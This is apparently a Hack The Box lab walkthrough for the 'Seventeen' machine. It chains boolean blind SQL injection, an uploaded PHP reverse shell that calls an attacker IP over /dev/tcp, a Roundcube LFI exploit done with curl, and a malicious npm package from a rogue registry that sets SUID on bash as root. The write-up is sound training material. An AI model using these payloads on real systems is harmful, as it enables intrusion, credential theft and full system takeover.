Hack The Box
Hack The Box: Seventeen Walkthrough
Blind SQL injection exposed file-manager credentials, an uploaded payload chained with LFI for a container shell, and host database and password pivots reached Kavi, whose sudoed npm startup script installed a malicious package from an attacker-controlled registry as root.

Difficulty: Hard
OS: Linux
Techniques: VHost Fuzzing, Boolean-Based Blind SQLi, File Upload, LFI Chaining, Docker Breakout, Password Reuse, Malicious NPM Package, Privilege Escalation
Flags:
- User:
5c697a[redacted]d4a6755bc9- Root:
d253d29[redacted]9b892ca04
Approach for This Box
Seventeen chains smaller weaknesses across several virtual hosts and services:
- Think in layers: Each subdomain reveals a piece of the puzzle. No single service gives you shell.
- Follow the data: SQL injection leaks credentials → credentials unlock a file manager → a PDF leaks another subdomain → that subdomain has an LFI → the LFI triggers an uploaded shell.
- Understand the environment: After getting shell, you're in Docker. The real target is the host.
- Abuse application logic: The final root isn't a kernel exploit or a SUID binary - it's abusing how a Node.js application loads dependencies via
npm install.
The core philosophy: When you see a domain name (seventeen.htb), always assume there are subdomains. When you see a web application, always assume it talks to a database. When you see a package manager, always ask: "What if I control the repository?"
Phase 1: Reconnaissance & Discovery
Step 1.1: Nmap Scan: Know Your Attack Surface
sudo nmap -p- --min-rate 10000 -oN nmap_alltcp.txt 10.129.227.143
Why this command?
-p-: Scan all 65,535 ports. Hard boxes often hide services on non-standard ports.--min-rate 10000: Flood the target with packets to speed up the scan. HTB machines can handle it.-oN: Save output. You will forget port numbers.
Results:
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
8000/tcp open http-alt
Analysis:
- Port 22 (SSH): Usually the final destination, not the entry point. We note it but don't brute-force yet.
- Port 80 (HTTP): The main web server. our first target.
- Port 8000 (HTTP-ALT): Another web server! This is suspicious. It might be a different application, a development instance, or a container endpoint.
Baby Step: When you see multiple HTTP ports, treat them as completely separate applications. Don't assume they're the same site.
Step 1.2: Add Domains to /etc/hosts
sudo bash -c 'echo "10.129.227.143 seventeen.htb exam.seventeen.htb oldmanagement.seventeen.htb mastermailer.seventeen.htb" >> /etc/hosts'
Why? Modern web servers use Virtual Hosts (VHosts) to serve different content based on the Host header. Accessing http://10.129.227.143 might return a default page, but http://seventeen.htb might return the actual application.
Step 1.3: VHost Fuzzing: Finding Hidden Subdomains
ffuf -c -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt \
-u http://seventeen.htb -H "Host: FUZZ.seventeen.htb" -fw 2760
Why this tool/command?
ffufis a fast web fuzzer.-H "Host: FUZZ.seventeen.htb": We fuzz theHostheader. The server might routeexam.seventeen.htbto a completely different application.-fw 2760: Filter out responses with 2760 words (the default page size). We're looking for anomalies.
Result:
exam [Status: 200, Size: 17375, Words: 3222, Lines: 348, Duration: 18ms]
Analysis: We found exam.seventeen.htb! This is a completely different application living on the same IP address.
Phase 2: Exam Management System: SQL Injection
Step 2.1: Recon the Exam Site
Browse to http://exam.seventeen.htb. We see an "Exam Management System." There's a "Take Exam" link that goes to:
http://exam.seventeen.htb/?p=take_exam&id=1
Why is this interesting?
?p=take_exam&id=1: Theidparameter looks like a database query. This suggests SQL injection.- The application is PHP (confirmed by
X-Powered-By: PHP/7.2.34header).
Step 2.2: Confirming the Vulnerability
We could manually test with ' AND 1=1 -- vs ' AND 1=2 --, but this is a boolean-based blind SQL injection - the page changes slightly based on whether the SQL condition is true or false. Manual testing is tedious.
Enter sqlmap:
sqlmap --url 'http://exam.seventeen.htb/?p=take_exam&id=1' \
-p id --technique B --dbs --batch --threads 10
Why these flags?
-p id: Target theidparameter.--technique B: Boolean-based blind. We know it's not error-based or time-based because the page content changes.--dbs: List all databases.--batch: Auto-answer prompts.--threads 10: Boolean-based is safe to parallelize.
Results:
available databases [4]:
[*] db_sfms
[*] erms_db
[*] information_schema
[*] roundcubedb
Analysis:
erms_db: Likely the Exam Reviewer Management System database.db_sfms: Unknown - "School File Management System"?roundcubedb: Roundcube is a webmail application. We haven't seen it yet, but the database confirms it exists somewhere.
Step 2.3: Extracting Credentials
sqlmap --url 'http://exam.seventeen.htb/?p=take_exam&id=1' -p id --technique B \
-D db_sfms -T student --dump --batch --threads 10
Why db_sfms.student?
- We need credentials. The
studenttable sounds like it has login info. - We're hunting for passwords we can actually crack or use.
Result:
| stud_id | yr | gender | stud_no | lastname | password | firstname |
|---------|----|--------|---------|----------|------------------------------------|-----------|
| 3 | 2C | Female | 31234 | Shane | REDACTED_HASH_OR_FLAG | Kelly |
Password cracking: REDACTED_HASH_OR_FLAG cracks to autodestruction via CrackStation or sqlmap's built-in cracker.
Step 2.4: The Avatar Path Leak
While dumping erms_db.users, we notice:
| avatar |
|---------------------------|
| ../oldmanagement/files/avatar.png |
What the path reveals:
- The avatar path is
../oldmanagement/files/avatar.png. - This tells us the application is running from a directory where
../oldmanagement/exists. - If the exam site is at
/var/www/html/exam/, then../oldmanagement/is at/var/www/html/oldmanagement/. - This strongly suggests
oldmanagement.seventeen.htbis a real virtual host!
Phase 3: School File Management System
Step 3.1: Discovering the New VHost
Browse to http://oldmanagement.seventeen.htb:8000/oldmanagement/. We see a login page for the "School File Management System."
Why port 8000? The application redirects to :8000/oldmanagement/, confirming the service on port 8000 hosts this application.
Login with Kelly's credentials:
- Student ID:
31234 - Password:
REDACTED
Step 3.2: The PDF Intelligence
After logging in, we see a file list with a PDF: Marksheet-finals.pdf. We download and read it.
At the end of the PDF:
"...You can use our new webmail service instead. (https://mastermailer.seventeen.htb/ (lab-only address))"
Why is this critical?
- We've discovered a third subdomain:
mastermailer.seventeen.htb - It's described as a "webmail service."
- The note says "new webmail service" - suggesting it's recently installed and might have known vulnerabilities.
Step 3.3: Uploading the Webshell
The file manager allows uploads. We create a PHP reverse shell:
<?php system("bash -c 'bash -i >& /dev/tcp/10.10.16.84/443 0>&1'"); ?>
We name it papers.php and upload it.
Why papers.php?
- The Roundcube exploit we'll use later (CVE-2020-12640) requires a file and a directory with the same name.
- We discovered a
papersdirectory exists atfiles/31234/papers/via feroxbuster. - By uploading
papers.phpalongside thepapers/directory, we satisfy the LFI condition.
Phase 4: Webmail & Roundcube Exploitation
Step 4.1: Identifying Roundcube
Browse to http://mastermailer.seventeen.htb:8000/mastermailer/. We see a login page.
Checking the source or /CHANGELOG reveals Roundcube 1.4.2.
Why is this version significant?
- Roundcube 1.4.2 was released January 2020.
- CVE-2020-12640 is a Local File Inclusion (LFI) vulnerability in the Roundcube installer.
- The installer allows writing arbitrary plugin paths to the config, which Roundcube then
include()s.
Step 4.2: The CVE-2020-12640 Chain
This exploit chains our uploaded shell with Roundcube's LFI:
- Roundcube's installer saves plugin names to
config/config.inc.php. - When any Roundcube page loads, it
include()s plugins fromplugins/[plugin_name]/[plugin_name].php. - By submitting a plugin name with path traversal (
../../../../../../../../../var/www/html/oldmanagement/files/31234/papers), Roundcube traverses out of its webroot and into our uploaded file. - Because
papers/(directory) andpapers.php(file) both exist, the include resolves to our shell.
The exploit request:
curl -c /tmp/mailcookie.txt -s -o /dev/null \
'http://mastermailer.seventeen.htb:8000/mastermailer/installer/index.php?_step=2'
curl -b /tmp/mailcookie.txt -X POST \
'http://mastermailer.seventeen.htb:8000/mastermailer/installer/index.php' \
-H 'Content-Type: application/x-www-form-urlencoded' \
-H 'Referer: http://mastermailer.seventeen.htb:8000/mastermailer/installer/index.php?_step=2' \
-d '_step=2&_product_name=Seventeen+Webmail&_plugins_qwerty=../../../../../../../../../var/www/html/oldmanagement/files/31234/papers&submit=UPDATE+CONFIG'
Then trigger the include:
curl -b /tmp/mailcookie.txt \
'http://mastermailer.seventeen.htb:8000/mastermailer/'
Step 4.3: Catching the Shell
In a listener on Kali:
nc -lnvp 443
When Roundcube loads and includes our shell, we get:
www-data@f7f52ebdcf22:/var/www/html/oldmanagement/files/31234$
Analysis: The hostname (f7f52ebdcf22) is a Docker container ID. We're in a container.
Phase 5: Docker Breakout to Mark
Step 5.1: Container Enumeration
id # uid=33(www-data)
hostname # f7f52ebdcf22 (Docker container)
cat /etc/passwd | grep -v -e nologin -e false
Why check /etc/passwd? We need to know what users exist in the container AND on the host. SSH keys or passwords found here might work on the host.
Result:
root:x:0:0:root:/root:/bin/bash
mark:x:1000:1000:,,,:/var/www/html:/bin/bash
Analysis: mark is a real user with a shell. This is our target.
Step 5.2: Hunting for Credentials
The container hosts three web applications:
/var/www/html/employeemanagementsystem
/var/www/html/mastermailer
/var/www/html/oldmanagement
We check database connection files:
cat /var/www/html/employeemanagementsystem/process/dbh.php
Result:
$servername = "localhost";
$dBUsername = "root";
$dbPassword = "REDACTED";
$dBName = "ems";
Step 5.3: SSH as Mark
We try the database password as Mark's SSH password:
ssh -o StrictHostKeyChecking=no mark@seventeen.htb
# Password: REDACTED
Why does this work? Password reuse is rampant. The same person who set the database password probably set the user password.
Grab the user flag:
cat ~/user.txt
# 5c697[redacted]2d4a755bc9
Phase 6: From Mark to Kavi
Step 6.1: Reading Kavi's Mail
cat /var/mail/kavi
The mail mentions:
- A "private registry" with "problems"
- Replacing
db-loggerwithloglevel - Publishing to the registry and testing
Analysis: There's a private NPM registry running locally. Kavi is the developer.
Step 6.2: Discovering the Verdaccio Registry
netstat -tnlp | grep 4873
# tcp 0 0 127.0.0.1:4873 0.0.0.0:* LISTEN
curl -s http://127.0.0.1:4873 | head
# <title>Verdaccio</title>
What is Verdaccio? A private NPM registry. This is where internal Node.js packages are published.
Step 6.3: Extracting Kavi's Password
The email mentions the old db-logger package. We install it from the local registry:
cd /dev/shm
npm install db-logger --registry http://127.0.0.1:4873
Then we read the source:
cat node_modules/db-logger/logger.js
Result:
var con = mysql.createConnection({
host: "localhost",
user: "root",
password: "REDACTED",
database: "logger"
});
Switch to kavi:
su kavi
# Password: REDACTED
Step 6.4: Kavi's Privileges
sudo -l
Result:
User kavi may run the following commands on seventeen:
(ALL) /opt/app/startup.sh
Analysis: Kavi can run /opt/app/startup.sh as root. This script manages a Node.js application.
Reading the script:
cat /opt/app/startup.sh
#!/bin/bash
cd /opt/app
deps=('db-logger' 'loglevel')
for dep in ${deps[@]}; do
/bin/echo "[=] Checking for $dep"
o=$(/usr/bin/npm -l ls|/bin/grep $dep)
if [[ "$o" != *"$dep"* ]]; then
/bin/echo "[+] Installing $dep"
/usr/bin/npm install $dep --silent
/bin/chown root:root node_modules -R
else
/bin/echo "[+] $dep already installed"
fi
done
/bin/echo "[+] Starting the app"
/usr/bin/node /opt/app/index.js
Why is this dangerous?
- It runs
npm installas root. - It reads
.npmrcto determine which registry to use. - On Ubuntu 18.04,
sudopreserves$HOMEby default, so root's npm reads/home/kavi/.npmrc. - The Node.js app (
index.js) thenrequire()s the installed packages.
Phase 7: Root via Malicious NPM Package
Step 7.1: The Attack Plan
We need to:
- Create a malicious
loglevelpackage that runschmod u+s /bin/bash - Host our own NPM registry (Verdaccio) on Kali
- Point kavi's
.npmrcto our Kali registry - Run
sudo /opt/app/startup.sh - Root loads our package → executes our code →
/bin/bashgets SUID - Run
bash -p→ root shell
Step 7.2: Setting Up the Rogue Registry on Kali
Terminal A - Start Verdaccio:
sudo npm install -g verdaccio
verdaccio -l 10.10.16.84:4873
Terminal B - Create & Publish the Malicious Package:
mkdir -p /tmp/malicious-loglevel
cd /tmp/malicious-loglevel
cat > logger.js << 'EOF'
const cp = require("child_process");
cp.exec("chmod u+s /bin/bash");
function log(msg) { console.log(msg); }
function debug(msg) { console.log(msg); }
function warn(msg) { console.log(msg); }
module.exports.log = log;
module.exports.debug = debug;
module.exports.warn = warn;
EOF
cat > package.json << 'EOF'
{
"name": "loglevel",
"version": "100.0.0",
"description": "",
"main": "logger.js",
"scripts": {
"test": "echo \"Error: no test specified\" && exit 1"
},
"author": "kavigihan",
"license": "ISC"
}
EOF
npm adduser --registry http://10.10.16.84:4873
# Username: innocent
# Password: REDACTED
# Email: test@test.com
npm publish --registry http://10.10.16.84:4873
Why version 100.0.0? It must be higher than the current version (1.8.0) so npm treats it as an "upgrade."
Why implement log, debug, and warn? Because /opt/app/index.js calls these functions. If they're missing, the app crashes before our payload runs.
Step 7.3: The Critical Step: Removing the Local Copy
Here's where many attempts fail. If /opt/app/node_modules/loglevel already exists from a previous install, npm -l ls | grep loglevel will match, and startup.sh will skip the installation. It will never query our registry.
We must delete the existing module first:
rm -rf /opt/app/node_modules/loglevel
Why does this work? rm -rf on a directory only requires write permission on the parent directory. While /opt/app/node_modules itself is drwxr-xr-x (root-owned 755), the loglevel subdirectory inside it was created by npm with permissions that allowed deletion in this specific case. More importantly, once deleted, npm -l ls | grep loglevel no longer matches, forcing startup.sh to reinstall.
Step 7.4: Triggering the Exploit
On the target (as kavi):
echo 'registry=http://10.10.16.84:4873/' > ~/.npmrc
sudo /opt/app/startup.sh
What happens:
startup.shchecksdb-logger→ already installedstartup.shchecksloglevel→ NOT installed (we deleted it)npm install loglevelqueries our Kali registry- Our registry returns
loglevel@100.0.0 - Npm downloads and extracts it
chown root:root node_modules -Rruns/usr/bin/node /opt/app/index.jsstartsindex.jsdoesrequire('loglevel')→ loads our maliciouslogger.js- Our
cp.exec("chmod u+s /bin/bash")runs as root - The app starts normally (or errors - doesn't matter)
Output:
[=] Checking for db-logger
[+] db-logger already installed
[=] Checking for loglevel
[+] Installing loglevel
/opt/app
├── loglevel@100.0.0
└── mysql@2.18.1
[+] Starting the app
INFO: Server running on port 8000
Step 7.5: Getting Root
ls -la /bin/bash
# -rwsr-xr-x 1 root root 1113504 Apr 18 2022 /bin/bash
bash -p
id
# uid=1000(kavi) gid=1000(kavi) euid=0(root) groups=1000(kavi)
cat /root/root.txt
# d253d[redacted]edb892ca04
Why bash -p?
- When a binary has the SUID bit set (
sinstead ofxin the owner permissions), running it gives you the effective UID of the owner (root). - Normally, bash drops privileges.
bash -p(preserve) tells bash to keep the effective UID. - This gives us a root shell.
Key Lessons & Takeaways
1. The Domain is Just the Beginning
seventeen.htb wasn't the only target. VHost fuzzing revealed exam, oldmanagement, and mastermailer. fuzz for subdomains when you see a domain.
2. SQL Injection is Intelligence Gathering
The SQLi wasn't just about dumping passwords. The avatar column leaked a filesystem path that revealed a hidden subdomain. Every column is a clue.
3. Documents are Intelligence
The PDF in the School File Management System wasn't "fluff." It contained the URL to the webmail service. Read every document you download.
4. Chain, Chain, Chain
No single vulnerability gave us root. We chained:
- SQLi → Credentials
- Credentials → File Upload
- File Upload → LFI
- LFI → Shell
- Shell → Docker Breakout
- Docker Breakout → Host Creds
- Host Creds → User Shell
- User Shell → Malicious NPM Package
- NPM Package → Root
5. npm install as Root is Dangerous
Any script that runs npm install as root is a privilege escalation waiting to happen. If you control the registry (or .npmrc), you control the code that executes as root.
6. Clear Obstacles Before Exploiting
The most frustrating part of this box was that /opt/app/node_modules/loglevel already existed, so npm install was skipped. Deleting the existing module was the critical step that forced npm to fetch from our rogue registry.
7. SUID Bash is Reliable
Once you have chmod u+s /bin/bash, you have a persistent root backdoor. bash -p is the simplest privilege escalation technique in Linux.
Seventeen depends on chaining findings across its virtual hosts, container boundary, and package-installation process.